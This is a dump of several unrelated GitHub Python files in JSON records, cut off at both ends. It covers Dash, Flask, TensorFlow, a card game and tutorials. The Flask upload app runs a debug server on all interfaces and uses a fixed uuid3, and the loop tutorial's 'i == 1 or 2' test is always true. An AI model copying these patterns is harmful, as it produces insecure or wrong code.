EventTriggers(serializers.ModelSerializer):\n    class Meta:\n        model = models.Event\n        fields = ['id', 'title', 'trigger']\n","repo_name":"awgueguen/tales","sub_path":"backend/tales/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":8344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"8449621190","text":"from dash import Dash,html,dcc,Output,Input\r\nimport dash_bootstrap_components as dbc\r\nimport pandas as pd\r\nimport plotly.express as px\r\nfrom dash.exceptions import PreventUpdate\r\nimport json\r\n\r\n\r\n\r\n\r\napp = Dash(__name__,external_stylesheets=[dbc.themes.BOOTSTRAP])\r\n\r\ndata = pd.read_csv(r'E:\\Dataset\\IRIS.csv')\r\nlis = list(data.columns)\r\nlis.remove('species')\r\n\r\n\r\napp.layout = html.Div([\r\n    html.H1('Demo Dash'),\r\n    dbc.Row([\r\n        dbc.Col([\r\n                html.Div([\r\n                         dcc.Dropdown(lis,lis[0],id='mydrop')\r\n                ],style={\r\n                    'width':'400px'\r\n                })\r\n        ]),\r\n        dbc.Col([\r\n                   html.Div([\r\n                              dcc.Dropdown(lis,lis[1],id='mydrop1')\r\n                   ],style={\r\n                    'width':'400px',\r\n                    'margin-left':'300px'\r\n                })\r\n        ])\r\n    ],style={\r\n        'display':'flex'\r\n    }),\r\n   \r\n   \r\n\r\n   dbc.Row([\r\n\r\n        dbc.Col([ \r\n                      dcc.Graph(id='my-graph',style={\r\n                        'width':'100%'\r\n                      })\r\n        ]),\r\n        \r\n   ]),\r\n\r\n   html.Div(id='sentence'),\r\n   html.Div(id='sentence1')\r\n   \r\n    \r\n])\r\n\r\n\r\n\r\n\r\n@app.callback(\r\n    Output('my-graph','figure'),\r\n    [Input('mydrop','value'),\r\n    Input('mydrop1','value')]\r\n)\r\ndef update(val1,val2):\r\n\r\n    df = pd.read_csv(r'E:\\Dataset\\IRIS.csv')\r\n\r\n    fig = px.scatter(df,x=val1,y=val2,color='species',custom_data=['species'],hover_data=['species'])\r\n\r\n    \r\n\r\n    return fig\r\n\r\n\r\n@app.callback(\r\n    Output('sentence','children'),\r\n    Input('my-graph','clickData')\r\n)\r\ndef update(val):\r\n\r\n    if val == None:\r\n           raise PreventUpdate\r\n\r\n    else:\r\n         return json.dumps(val['points'])\r\n\r\n@app.callback(\r\n    Output('sentence1','children'),\r\n    Input('my-graph','hoverData')\r\n)\r\ndef update(val):\r\n\r\n    if val == None:\r\n           raise PreventUpdate\r\n\r\n    else:\r\n         return json.dumps(val['points'])\r\n\r\n        \r\n\r\nif __name__ == '__main__':\r\n       app.run_server(debug = True)\r\n","repo_name":"Annamalaisaravanan/two-input-one-output-callback","sub_path":"dash_demo.py","file_name":"dash_demo.py","file_ext":"py","file_size_in_byte":2076,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"73779580536","text":"\"Customization: Same-argument constraints\"\n\nclass Employee:\n    def __init__(self, name, salary):                               # Common superclass\n        self.name = name\n        self.salary = salary\n    \nclass Chef1(Employee):\n    def __init__(self, name):                                       # Differing arguments\n        Employee.__init__(self, name, 50000)                        # Dispatch by direct call\n    \n\nclass Server1(Employee):\n    def __init__(self, name):\n        Employee.__init__(self, name, 40000)\n    \n\nif __name__ == \"__main__\":\n    bob = Chef1('Bob')\n    sue = Server1('Sue')\n    print(bob.salary, sue.salary)\n\n\nclass Chef2(Employee):\n    def __init__(self, name):       \n        super().__init__(name, 50000)                               # Dispatch by super()\n\n\nclass Server2(Employee):\n    def __init__(self, name):\n        super().__init__(name, 40000)\n\n\nif __name__ == \"__main__\":\n    print()\n    bob = Chef2('Bob')\n    sue = Server2('Sue')\n    print(bob.salary, sue.salary)\n\n\n\"\"\" \nWatch what happens, though, when an employee is a member of both categories. Because\nthe constructors in the tree have differing argument lists, we’re in trouble:\n\"\"\" \nclass TwoJobs(Chef2, Server2): pass\n\nif __name__ == \"__main__\":\n    print()\n    # tom = TwoJobs('Tom')            # TypeError: __init__() takes 2 positional arguments but 3 were given\n    print(TwoJobs.__mro__)\n    print(Chef2.__mro__)\n\n    \"\"\" \n    By contrast, the direct by-name call scheme still works when the classes are mixed,\n    though the results are a bit dubious—the combined category gets the pay of the leftmost\n    superclass:\n    \"\"\" \n    class TwoJobs(Chef1, Server1): pass\n\n    tom = TwoJobs('Tom')\n    print(tom.salary)\n\n    class TwoJobs(Chef1, Server1):\n        def __init__(self, name): Employee.__init__(self, name, 70000)\n\n    tom = TwoJobs('Tom')\n    print(tom.salary)\n\n\n    class TwoJobs(Chef2, Server2):\n        def __init__(self, name): super().__init__(name, 70000)\n    \n    tom = TwoJobs('Tom')                            # TypeError: __init__() takes 2 positional arguments but 3 were given\n    ","repo_name":"bimri/learning-python","sub_path":"chapter_32/super-arguments.py","file_name":"super-arguments.py","file_ext":"py","file_size_in_byte":2110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"2886574845","text":"# Bucles => For\n\n# Ejemplo =>\nfor i in range(0, 10):\n    print(i)\n\n# Ejemplo =>\nfor i in range(0, 99):\n    print(i)\n\n# Ejemplo=>\nfor i in range(5, 15):\n    print(i)\n\n# For => \"Rango de Continuacion\"\nfor i in range(0, 10, 2):\n    print(i)  # 0 2 4 6 8\n\n# For => \"Rango de Retroceso\"\nfor i in range(10, 2, -2):\n    print(i)  # 10 8 6 4\n\n# Ejemplo ->\nfor i in range(10, 1, -1):\n    print(i)  # 10 9 8 7 6 5 4 3 2\n\n\n# Imprimir variables en un string =>\nnum_bananas = 10\nprint(f\"You have {num_bananas} bananas\")  # You have 10 bananas\n\n# Ejemplo =>\nfor age in range(0, 75):\n    if age < 8:\n        print(\"Usted califica para comidas gratis. Tienes EDAD años.\")\n    elif age > 65:\n        print(\"Usted califica para la jubilación. Tienes EDAD años.\")\n\n# Ejemplo =>\ntotal = 0\nfor i in range(0, 100):\n    total += i\nprint(total)\n\n\n# Ejemplo =>\nfor i in range(10, 0, -1):\n    if i == 1:\n        print(\"NUM... Blastoff!\")\n    else:\n        print(i)\n\n# Ejemplo =>\nfor i in range(100, 109):\n    print(f\"{i} squared = {i*i}\")\n\n\n# Ejemplo =>\nnumber_of_employees = 102\n\nc_level_bonus = 2000\nmanager_bonus = 1000\nstandard_bonus = 500\n\nsarah_id = 1\nmary_id = 2\njohn_id = 6\nbob_id = 44\njoe_id = 18\ndollars_needed = 0\n\nfor i in range(0, number_of_employees - 1):\n    if i == 1 or 2:\n        dollars_needed += c_level_bonus\n    elif i == 6 or 44 or 18:\n        dollars_needed += manager_bonus\n    else:\n        dollars_needed += standard_bonus\nprint(f\"{dollars_needed} dollars are needed to fulfill all bonuses\")\n","repo_name":"martinGlvn/LearnPython","sub_path":"0-test/04bucles.py","file_name":"04bucles.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"3569243129","text":"from game_logic.Database import GameDatabase\nfrom itertools import combinations\n\n\nclass Game:\n    \"\"\"\n    Game function to manage all the logic of the game.\n    Public methods: show_place_cards, players, play_card\n    public attributes: ground (place where all the played cards are)\n    \"\"\"\n\n    def __init__(self):\n\n        self.__last_player = None\n        self.__database = GameDatabase()\n        self.ground = (self.__database.ground())[0]\n\n    def show_place_cards(self, place):\n        \"\"\"\n        function to show all the cards that are in a single place.\n        The possible places are: player_1, player_2, player_3, player_4, ground, deck_1, deck_2\n        :param place: a string indicating the place\n        :return: a list of cards where ever card will be (int, suit) each suit is a string with one of four possible\n        values: \"hearts\", \"clubs\", \"spades\", \"diamonds\"\n        \"\"\"\n        return self.__database.select_position_cards(place)\n\n    def __places(self):\n        \"\"\"\n        Function to get a list of all the possible places\n        :return: a list of all the possible places\n        \"\"\"\n        return self.__database.select_all_places()\n\n    def players(self):\n        \"\"\"\n        Function that returns a list of all the players in the game\n        :return: a list of all the players in the game\n        \"\"\"\n        return self.__database.select_all_players()\n\n    def play_card(self, card, player):\n        \"\"\"\n        Method to play a card from the hand of a player\n        :param card: card that has to be player (number, suit)\n        :param player: player that plays the card\n        :return:\n        \"\"\"\n\n        player_cards = self.__database.select_position_cards(player)\n        if card in player_cards:\n            self.__check_ground(card, player)\n            ground_cards = self.__database.select_position_cards(self.ground)\n\n            if len(ground_cards) <= 0:\n                self.__database.add_scopa(self.__database.select_player_deck(player))\n\n        else:\n            raise Exception(\"card not in player hand\")\n\n    def __check_ground(self, card, player):\n        \"\"\"\n        Method that contains the actual logic on the game behaviour after that a card has been player\n        :param card: card that has been played\n        :param player: player that plays the card\n        :return:\n        \"\"\"\n        \"\"\"Fetched player deck\"\"\"\n        deck = self.__database.select_player_deck(player)\n\n        \"\"\"Fetches a list of cards on the ground\"\"\"\n        cards = self.__database.select_position_cards(self.ground)\n\n        # SINGLE CARD CHECK\n        \"\"\"Check if there is an equal card on the ground and if there is puts the two cards in the player deck\n        and sets the last player that picked a card\"\"\"\n        for ground_card in cards:\n            if card[0] == ground_card[0]:\n                self.__database.update_card_position(card, deck)\n                self.__database.update_card_position(ground_card, deck)\n                self.__last_pick(player)\n                return\n\n        # COMBINATIONS CHECK\n        \"\"\"Check if there is a combination of cards that has the sum equal to the number of the played card than adds \n        all of them to the player's deck and sets the player as the last one who picked a card\"\"\"\n        for n in range(2, len(cards) + 1):\n            print(\"combinations of \" + str(n) + \"cards\\n\")\n            for comb in combinations(cards, n):\n                print(comb)\n                card_sum = 0\n                for comb_card in comb:\n                    card_sum += comb_card[0]\n                if card_sum == card[0]:\n                    self.__database.update_card_position(card, deck)\n                    for ground_card in comb:\n                        self.__database.update_card_position(ground_card, deck)\n\n                    \"\"\"Sets the player as last player\"\"\"\n                    self.__last_pick(player)\n                    return\n\n        self.__database.update_card_position(card, self.ground[0])\n        return\n\n    def __last_pick(self, player):\n        self.__last_player = player\n\n    def points_counter(self):\n        \"\"\"\n        counts the points once the game is finished. The methods strats by checking if any player still has cards to\n        play in case it raises and EXCEPTION\n        :return:\n        \"\"\"\n\n        players = self.players()\n\n        for player in players:\n            if len(self.show_place_cards(player)) > 0:\n                raise Exception(\"the game is not finished \" + player[0] + \" still has cards to play\")\n\n        # MOVE THE LAST CARDS TO THE DECK OF THE LAST PLAYER\n        remaining_cards = self.__database.select_position_cards(self.ground)\n\n        for card in remaining_cards:\n            self.__database.update_card_position(card, self.__database.select_player_deck(self.__last_player))\n\n        # START COUNTING THE POINTS\n        decks = self.__database.select_all_decks_and_scope()\n        points_team_1 = (decks[0])[1]\n        points_team_2 = (decks[1])[1]\n\n        cards_team_1 = self.show_place_cards([(decks[0])[0]])\n        cards_team_2 = self.show_place_cards([(decks[1])[0]])\n\n        \"\"\"Checking who gets the point for most cards\"\"\"\n        if len(cards_team_1) > len(cards_team_2):\n            points_team_1 += 1\n        if len(cards_team_1) < len(cards_team_2):\n            points_team_2 += 1\n\n        \"\"\"Checking who gets the point for most diamonds\"\"\"\n        points_team_1, points_team_2 = self.__count_diamonds(cards_team_1, points_team_1, cards_team_2, points_team_2)\n\n        \"\"\"Checking who gets the point for the 7 of diamonds\"\"\"\n        if (7, \"diamonds\") in cards_team_1:\n            points_team_1 += 1\n        else:\n            points_team_2 += 1\n\n        \"\"\"Counts point from primiera\"\"\"\n        points_team_1, points_team_2 = self.__count_primiera(cards_team_1, points_team_1, cards_team_2, points_team_2)\n\n        return points_team_1, points_team_2\n\n    def __count_diamonds(self, cards_team_1, points_team_1, cards_team_2, points_team_2):\n        \"\"\"\n        Function that determines to which team should the diamonds point get assigned to.\n        :param cards_team_1: list of cards of team 1\n        :param points_team_1: int representing the points of team 1\n        :param cards_team_2: list of cards of team 2\n        :param points_team_2: int representing the points of team 2\n        :return: (int) points team 1, (int) points team 2\n        \"\"\"\n        diamonds_team_1 = []\n        for card in cards_team_1:\n            if card[1] == \"diamonds\":\n                diamonds_team_1.append(card)\n\n        diamonds_team_2 = []\n        for card in cards_team_2:\n            if card[1] == \"diamonds\":\n                diamonds_team_2.append(card)\n\n        if len(diamonds_team_1) > len(diamonds_team_2):\n            points_team_1 += 1\n        if len(diamonds_team_1) < len(diamonds_team_2):\n            points_team_2 += 1\n\n        return points_team_1, points_team_2\n\n    def __count_primiera(self, cards_team_1, points_team_1, cards_team_2, points_team_2):\n        \"\"\"\n        Function that determines to which team should the primiera points get assigned to.\n        :param cards_team_1: list of cards of team 1\n        :param points_team_1: int representing the points of team 1\n        :param cards_team_2: list of cards of team 2\n        :param points_team_2: int representing the points of team 2\n        :return: (int) points team 1, (int) points team 2\n        \"\"\"\n        sevens_team_1 = []\n        for card in cards_team_1:\n            if card[0] == 7:\n                sevens_team_1.append(card)\n\n        sevens_team_2 = []\n        for card in cards_team_2:\n            if card[0] == 7:\n                sevens_team_2.append(card)\n\n        if len(sevens_team_1) > len(sevens_team_2):\n            points_team_1 += 1\n        if len(sevens_team_1) < len(sevens_team_2):\n            points_team_2 += 1\n\n        return points_team_1, points_team_2\n\n\n\"\"\"\ndef main():\n    this_game = Game()\n    players = this_game.players()\n    cards = this_game.show_place_cards(players[3])\n    while len(cards) > 0:\n        for player in players:\n            cards = this_game.show_place_cards(player)\n            this_game.play_card(cards[0], player)\n\n        cards = this_game.show_place_cards(players[3])\n\n    points_team_1, points_team_2 = this_game.points_counter()\n\n    print(\"team 1 points\")\n    print(points_team_1)\n    print(\"cards tem one\")\n    print(this_game.show_place_cards([\"deck_1\"]))\n\n    print(\"team 2 points\")\n    print(points_team_2)\n    print(\"cards tem one\")\n    print(this_game.show_place_cards([\"deck_2\"]))\n\n\n    # this_game.points_counter()\n\n\nif __name__ == '__main__':\n    main()\"\"\"\n","repo_name":"Nannakaroliina/ds-project","sub_path":"manager/game_logic/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":8670,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"18515585045","text":" # -*- coding: utf-8 -*-   \r\n\r\nimport os,json,logging,logger,uuid,time\r\n\r\nfrom logger import log_conf\r\nfrom flask import Flask, render_template, request, flash, redirect, render_template, session, abort,url_for,send_file,send_from_directory\r\nfrom werkzeug import secure_filename\r\n\r\n# import local file\r\n\r\nfrom database import *\r\n\r\napp = Flask(__name__)\r\n\r\nlog = log_conf(app.logger,logging.DEBUG)\r\n# 文件 类\r\n# \r\n# 获取脚本当前的目录 os.getcwd()\r\n# 文件保存的路径,往往是绝对路劲\r\nuuid_source = 'file.evalogik.com'\r\nUPLOAD_FOLDER = os.getcwd()+'/store_file/'\r\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\r\nPATH_RELATIVE = './store_file/'\r\n#store_path = UPLOAD_FOLDER\r\n\r\n@app.route('/')\r\ndef index():\r\n    return render_template('index.html')\r\n\r\n@app.route('/file_upload')\r\ndef file_upload():\r\n    return render_template('file_upload.html')\r\n\t\r\n@app.route('/file_uploading', methods = ['GET', 'POST'])\r\ndef file_uploading():\r\n    if request.method == 'POST':\r\n        # check if the post request has the file part\r\n        if 'file' not in request.files: \r\n            flash('No file part')\r\n            return redirect(url_for('file_upload'))\r\n        file = request.files['file']\r\n        # if user does not select file, browser also\r\n        # submit a empty part without filename\r\n        finputname = request.form['input_fname']\r\n        if file.filename == ''or finputname is None:\r\n            flash('No selected file')\r\n            return redirect(url_for('file_upload'))\r\n        if file:\r\n            #产生随机序列\r\n            uid = uuid.uuid3(uuid.NAMESPACE_DNS,uuid_source)\r\n            # 添加后缀\r\n            if file.filename is None:\r\n                f_end = None\r\n            else:\r\n                f_end ='.' +  str(file.filename).split('.')[-1]\r\n            # 文件名合法性\r\n            fpath = secure_filename(str(int(time.time())) + '_' + str(uid)) + f_end\r\n            log.debug(\"new filename is %s\",fpath)\r\n            # 文件上传\r\n            file.save(os.path.join(app.config[\"UPLOAD_FOLDER\"], fpath))\r\n            #  记录到数据库,记录相对路径\r\n            path = '/' + fpath\r\n            # 是否需要加后缀\r\n            finputname += f_end\r\n            fdb = File_db()\r\n            log.info('file %s save to %s',finputname,path)\r\n            fdb.file_add(file_idex = str(finputname),address= path,fname='test',filetype = 'pdf')\r\n            return redirect(url_for('file_upload'))\r\n\r\n@app.route('/file_find',methods = ['GET', 'POST'])\r\ndef file_find():\r\n    key = request.form['input_search_key']\r\n    find =  File_db().file_idex_search_key(key)\r\n    return render_template('file_upload.html',output_filelist = find)\r\n\r\n@app.route('/file_download',methods = ['GET', 'POST'])\r\ndef uploaded_file():\r\n    filename = request.form['input_download_file']\r\n    fname = File_db().file_address_get_by_idex(idex = filename)\r\n    log.debug(\"file address --> %s\",fname[0])\r\n    return send_file(app.config[\"UPLOAD_FOLDER\"] + str(fname[0]))\r\n\r\nif __name__ == '__main__':\r\n    app.secret_key = os.urandom(12)\r\n    app.run(debug=True,host='0.0.0.0', port=9527)\r\n    log.warning('start to test')\r\n","repo_name":"skylli/FileManage","sub_path":"file.py","file_name":"file.py","file_ext":"py","file_size_in_byte":3165,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"3777642811","text":"\"\"\"Anlayse Finance Main Module\n\"\"\"\nfrom datetime import datetime\nfrom pandas.core.frame import DataFrame\nfrom pandas_datareader import data as pdr\nimport pandas as pd\n\nfrom Moduls.print_plot_modul import print_plot\n\n# request in the Console the Index\nSTOCK_NAME = input(\"Aktien Kürzel ? \")\n# set selected Stock\nif len(STOCK_NAME)==0:\n    STOCK_NAME = \"SPY\"\n\n# set Start and End Date for selected stocks\nSTART_DATE = \"2012-02-01\"\nEND_DATE = datetime.now().strftime(\"%Y-%m-%d\")\n\n# interval: data interval (intraday data cannot extend last 60 days)\n# Valid intervals are: m, h, d, d, wk, mo, mo\ndata_stock = pdr.get_data_yahoo(STOCK_NAME, start=START_DATE, end=END_DATE,interval=\"wk\")\ndata_vix = pdr.get_data_yahoo(\"^VIX\", start=START_DATE, end=END_DATE, interval=\"wk\")\n\ndef analyse_stock_data(stock_dataframe:DataFrame):\n    \"\"\"Analyse Stock\n\n    Args:\n        data_stock (DataFrame):\n    \"\"\"\n    stock_dataframe = stock_dataframe.loc[:,['Open','Close']]\n    stock_dataframe[\"Stock_diff_a\"]= (stock_dataframe['Open']-stock_dataframe['Close'])*-1\n    stock_dataframe[\"Stock_diff_p\"]= (stock_dataframe['Close']/stock_dataframe['Open']-1)*100\n    stock_dataframe.rename(columns={\"Open\": \"Stock_Open\", \"Close\": \"Stock_Close\"},inplace=True)\n    return stock_dataframe\n\ndef analyse_vix_data(vix_dataframe):\n    \"\"\"Analyse vix data\n\n    Args:\n        data_vix ([type]): vix Data\n    \"\"\"\n    vix_dataframe = vix_dataframe.loc[:, ['Open','Close']]\n    vix_dataframe[\"vix_diff_a\"]= (vix_dataframe['Open']-vix_dataframe['Close'])*-1\n    vix_dataframe[\"vix_diff_p\"]= (vix_dataframe['Close']/vix_dataframe['Open']-1)*100\n    vix_dataframe.rename(columns={\"Open\": \"vix_Open\", \"Close\": \"vix_Close\"},inplace=True)\n    return vix_dataframe\n\ndata_stock = analyse_stock_data(data_stock)\ndata_vix = analyse_vix_data(data_vix)\n\n\n#Concat Dataframes over join\nresult = pd.concat([data_stock,data_vix], axis=1, join='inner')\n\n#add weeknumber on Insertion index 0\nresult.insert(0, \"Week_number\", result.index.weekofyear,allow_duplicates=True)\n\n#export to Excel\nresult.to_excel('export/output.xlsx', sheet_name='stocks')\n\nprint_plot(result)\nprint(result[\"Stock_diff_p\"].describe(include='all'))\n","repo_name":"MRoettger/stocksVix","sub_path":"analyse_fincance_api.py","file_name":"analyse_fincance_api.py","file_ext":"py","file_size_in_byte":2168,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"}
+{"seq_id":"73524899256","text":"import os\nimport yaml\n\nfrom scheduling import launch\n\n\ndef create_jobs():\n    template = \"python train_nli.py --no_tqdm --no_visdom \"\n    with open(\"reproduce/hparams/snli.yaml\", \"r\") as f:\n        hparams = yaml.safe_load(f)\n\n    jobs = []\n    for hparam in hparams:\n        command = template + \" \".join(\"--{} {}\".format(key, value) for key, value in hparam.items())\n        jobs.append(command)\n\n    return jobs\n\n\nif __name__ == \"__main__\":\n    jobs = create_jobs()\n\n    # change current directory to InferSent\n    os.chdir('./InferSent/')\n    launch(jobs)\n    # change current directory back to original\n    os.chdir('..')\n","repo_name":"oval-group/ali-g","sub_path":"experiments/reproduce/snli.py","file_name":"snli.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","stars":22,"dataset":"github-code","pt":"22"}
+{"seq_id":"28508692944","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport numpy as np\nfrom tensorflow.contrib.distributions.python.ops import bijector\nfrom tensorflow.contrib.distributions.python.ops import distribution\nfrom tensorflow.contrib.distributions.python.ops import distribution_util\nfrom tensorflow.contrib.distributions.python.ops import transformed_distribution\nfrom tensorflow.python.framework import constant_op\nfrom tensorflow.python.framework import dtypes\nfrom tensorflow.python.framework import ops\nfrom tensorflow.python.ops import array_ops\nfrom tensorflow.python.ops import check_ops\nfrom tensorflow.python.ops import control_flow_ops\nfrom tensorflow.python.ops import math_ops\nfrom tensorflow.python.ops import nn_ops\nfrom tensorflow.python.ops import random_ops\n\n\nclass _ExpRelaxedOneHotCategorical(distribution.Distribution):\n  \"\"\"ExpRelaxedOneHotCategorical distribution with temperature and logits.\n\n  An ExpRelaxedOneHotCategorical distribution is a log-transformed\n  RelaxedOneHotCategorical distribution. The RelaxedOneHotCategorical is a\n  distribution over random probability vectors, vectors of positive real\n  values that sum to one, which continuously approximates a OneHotCategorical.\n  The degree of approximation is controlled by a temperature: as the temperature\n  goes to 0 the RelaxedOneHotCategorical becomes discrete with a distribution\n  described by the logits, as the temperature goes to infinity the\n  RelaxedOneHotCategorical becomes the constant distribution that is identically\n  the constant vector of (1/num_classes, ..., 1/num_classes).\n\n  Because computing log-probabilities of the RelaxedOneHotCategorical can\n  suffer from underflow issues, this class is one solution for loss\n  functions that depend on log-probabilities, such as the KL Divergence found\n  in the variational autoencoder loss. The KL divergence between two\n  distributions is invariant under invertible transformations, so evaluating\n  KL divergences of ExpRelaxedOneHotCategorical samples, which are always\n  followed by a `tf.exp` op, is equivalent to evaluating KL divergences of\n  RelaxedOneHotCategorical samples. See the appendix of Maddison et al., 2016\n  for more mathematical details, where this distribution is called the\n  ExpConcrete.\n\n  #### Examples\n\n  Creates a continuous distribution, whoe exp approximates a 3-class one-hot\n  categorical distiribution. The 2nd class is the most likely to be the\n  largest component in samples drawn from this distribution. If those samples\n  are followed by a `tf.exp` op, then they are distributed as a relaxed onehot\n  categorical.\n\n  ```python\n  temperature = 0.5\n  p = [0.1, 0.5, 0.4]\n  dist = ExpRelaxedOneHotCategorical(temperature, p=p)\n  samples = dist.sample()\n  exp_samples = tf.exp(samples)\n  # exp_samples has the same distribution as samples from\n  # RelaxedOneHotCategorical(temperature, p=p)\n  ```\n\n  Creates a continuous distribution, whose exp approximates a 3-class one-hot\n  categorical distiribution. The 2nd class is the most likely to be the\n  largest component in samples drawn from this distribution.\n\n  ```python\n  temperature = 0.5\n  logits = [-2, 2, 0]\n  dist = ExpRelaxedOneHotCategorical(temperature, logits=logits)\n  samples = dist.sample()\n  exp_samples = tf.exp(samples)\n  # exp_samples has the same distribution as samples from\n  # RelaxedOneHotCategorical(temperature, p=p)\n  ```\n\n  Creates a continuous distribution, whose exp approximates a 3-class one-hot\n  categorical distiribution. Because the temperature is very low, samples from\n  this distribution are almost discrete, with one component almost 0 and the\n  others very negative. The 2nd class is the most likely to be the largest\n  component in samples drawn from this distribution.\n\n  ```python\n  temperature = 1e-5\n  logits = [-2, 2, 0]\n  dist = ExpRelaxedOneHotCategorical(temperature, logits=logits)\n  samples = dist.sample()\n  exp_samples = tf.exp(samples)\n  # exp_samples has the same distribution as samples from\n  # RelaxedOneHotCategorical(temperature, p=p)\n  ```\n\n  Creates a continuous distribution, whose exp approximates a 3-class one-hot\n  categorical distiribution. Because the temperature is very high, samples from\n  this distribution are usually close to the (-log(3), -log(3), -log(3)) vector.\n  The 2nd class is still the most likely to be the largest component\n  in samples drawn from this distribution.\n\n  ```python\n  temperature = 10\n  logits = [-2, 2, 0]\n  dist = ExpRelaxedOneHotCategorical(temperature, logits=logits)\n  samples = dist.sample()\n  exp_samples = tf.exp(samples)\n  # exp_samples has the same distribution as samples from\n  # RelaxedOneHotCategorical(temperature, p=p)\n  ```\n\n  Chris J. Maddison, Andriy Mnih, and Yee Whye Teh. The Concrete Distribution:\n  A Continuous Relaxation of Discrete Random Variables. 2016.\n  \"\"\"\n\n  def __init__(\n      self,\n      temperature,\n      logits=None,\n      p=None,\n      dtype=dtypes.float32,\n      validate_args=False,\n      allow_nan_stats=True,\n      name=\"ExpRelaxedOneHotCategorical\"):\n    \"\"\"Initialize ExpRelaxedOneHotCategorical using class log-probabilities.\n\n    Args:\n      temperature: An 0-D `Tensor`, representing the temperature\n        of a set of ExpRelaxedCategorical distributions. The temperature should\n        be positive.\n      logits: An N-D `Tensor`, `N >= 1`, representing the log probabilities\n        of a set of ExpRelaxedCategorical distributions. The first\n        `N - 1` dimensions index into a batch of independent distributions and\n        the last dimension represents a vector of logits for each class. Only\n        one of `logits` or `p` should be passed in.\n      p: An N-D `Tensor`, `N >= 1`, representing the probabilities\n        of a set of ExpRelaxedCategorical distributions. The first\n        `N - 1` dimensions index into a batch of independent distributions and\n        the last dimension represents a vector of probabilities for each\n        class. Only one of `logits` or `p` should be passed in.\n      dtype: The type of the event samples (default: int32).\n      validate_args: Unused in this distribution.\n      allow_nan_stats: `Boolean`, default `True`.  If `False`, raise an\n        exception if a statistic (e.g. mean/mode/etc...) is undefined for any\n        batch member.  If `True`, batch members with valid parameters leading to\n        undefined statistics will return NaN for this statistic.\n      name: A name for this distribution (optional).\n    \"\"\"\n    parameters = locals()\n    parameters.pop(\"self\")\n    with ops.name_scope(name, values=[logits, p, temperature]) as ns:\n      with ops.control_dependencies([check_ops.assert_positive(temperature)]\n                                    if validate_args else []):\n        self._temperature = array_ops.identity(temperature, name=\"temperature\")\n      self._logits, self._p = distribution_util.get_logits_and_prob(\n          name=name, logits=logits, p=p, validate_args=validate_args,\n          multidimensional=True)\n\n      logits_shape_static = self._logits.get_shape().with_rank_at_least(1)\n      if logits_shape_static.ndims is not None:\n        self._batch_rank = ops.convert_to_tensor(\n            logits_shape_static.ndims - 1,\n            dtype=dtypes.int32,\n            name=\"batch_rank\")\n      else:\n        with ops.name_scope(name=\"batch_rank\"):\n          self._batch_rank = array_ops.rank(self._logits) - 1\n\n      logits_shape = array_ops.shape(self._logits, name=\"logits_shape\")\n      if logits_shape_static[-1].value is not None:\n        self._num_classes = ops.convert_to_tensor(\n            logits_shape_static[-1].value,\n            dtype=dtypes.int32,\n            name=\"num_classes\")\n      else:\n        self._num_classes = array_ops.gather(logits_shape,\n                                             self._batch_rank,\n                                             name=\"num_classes\")\n\n      if logits_shape_static[:-1].is_fully_defined():\n        self._batch_shape_val = constant_op.constant(\n            logits_shape_static[:-1].as_list(),\n            dtype=dtypes.int32,\n            name=\"batch_shape\")\n      else:\n        with ops.name_scope(name=\"batch_shape\"):\n          self._batch_shape_val = logits_shape[:-1]\n    super(_ExpRelaxedOneHotCategorical, self).__init__(\n        dtype=dtype,\n        is_continuous=True,\n        is_reparameterized=True,\n        validate_args=validate_args,\n        allow_nan_stats=allow_nan_stats,\n        parameters=parameters,\n        graph_parents=[self._logits, self._temperature, self._num_classes],\n        name=ns)\n\n  @property\n  def num_classes(self):\n    \"\"\"Scalar `int32` tensor: the number of classes.\"\"\"\n    return self._num_classes\n\n  @property\n  def temperature(self):\n    \"\"\"A scalar representing the temperature.\"\"\"\n    return self._temperature\n\n  @property\n  def logits(self):\n    \"\"\"Vector of coordinatewise logits.\"\"\"\n    return self._logits\n\n  @property\n  def p(self):\n    \"\"\"Vector of probabilities summing to one.\"\"\"\n    return self._p\n\n  def _batch_shape(self):\n    # Use identity to inherit callers \"name\".\n    return array_ops.identity(self._batch_shape_val)\n\n  def _get_batch_shape(self):\n    return self.logits.get_shape()[:-1]\n\n  def _event_shape(self):\n    return array_ops.shape(self.logits)[-1]\n\n  def _get_event_shape(self):\n    return self.logits.get_shape().with_rank_at_least(1)[-1:]\n\n  def _sample_n(self, n, seed=None):\n    sample_shape = array_ops.concat(([n], array_ops.shape(self.logits)), 0)\n    logits = self.logits * array_ops.ones(sample_shape)\n    if logits.get_shape().ndims == 2:\n      logits_2d = logits\n    else:\n      logits_2d = array_ops.reshape(logits, [-1, self.num_classes])\n    np_dtype = self.dtype.as_numpy_dtype()\n    minval = np.nextafter(np_dtype(0), np_dtype(1))\n    uniform = random_ops.random_uniform(shape=array_ops.shape(logits_2d),\n                                        minval=minval,\n                                        maxval=1,\n                                        dtype=self.dtype,\n                                        seed=seed)\n    gumbel = - math_ops.log(- math_ops.log(uniform))\n    noisy_logits = math_ops.div(gumbel + logits_2d, self.temperature)\n    samples = nn_ops.log_softmax(noisy_logits)\n    ret = array_ops.reshape(samples, sample_shape)\n    return ret\n\n  def _log_prob(self, x):\n    x = ops.convert_to_tensor(x, name=\"x\")\n    x = self._assert_valid_sample(x)\n    # broadcast logits or x if need be.\n    logits = self.logits\n    if (not x.get_shape().is_fully_defined() or\n        not logits.get_shape().is_fully_defined() or\n        x.get_shape() != logits.get_shape()):\n      logits = array_ops.ones_like(x, dtype=logits.dtype) * logits\n      x = array_ops.ones_like(logits, dtype=x.dtype) * x\n\n    logits_shape = array_ops.shape(logits)\n    if logits.get_shape().ndims == 2:\n      